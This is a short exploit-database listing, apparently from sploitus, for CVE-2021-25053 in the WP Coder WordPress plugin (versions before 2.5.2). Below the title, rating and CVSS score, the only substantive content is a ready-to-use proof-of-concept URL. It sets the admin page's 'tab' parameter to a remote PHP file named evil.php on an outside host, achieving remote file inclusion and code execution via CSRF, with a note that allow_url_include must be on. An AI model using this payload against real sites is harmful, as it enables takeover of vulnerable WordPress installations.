Exploit for WP Coder < 2.5.2 - RFI leading to RCE via CSRF CVE-2021-25053

Name: Exploit for WP Coder < 2.5.2 - RFI leading to RCE via CSRF CVE-2021-25053
Rating: 5 (143 reviews)

2021-12-05 | CVSS 5.1

## https://sploitus.com/exploit?id=WPEX-ID:A5448599-64DE-43B0-B04D-C6492366EAB1
http://127.0.0.1:8001/wp-admin/admin.php?page=wow-company&tab=https%3A%2F%2Fstatic.kazet.cc%2Fevil.php%3F

PHP's allow_url_include must be set to "On"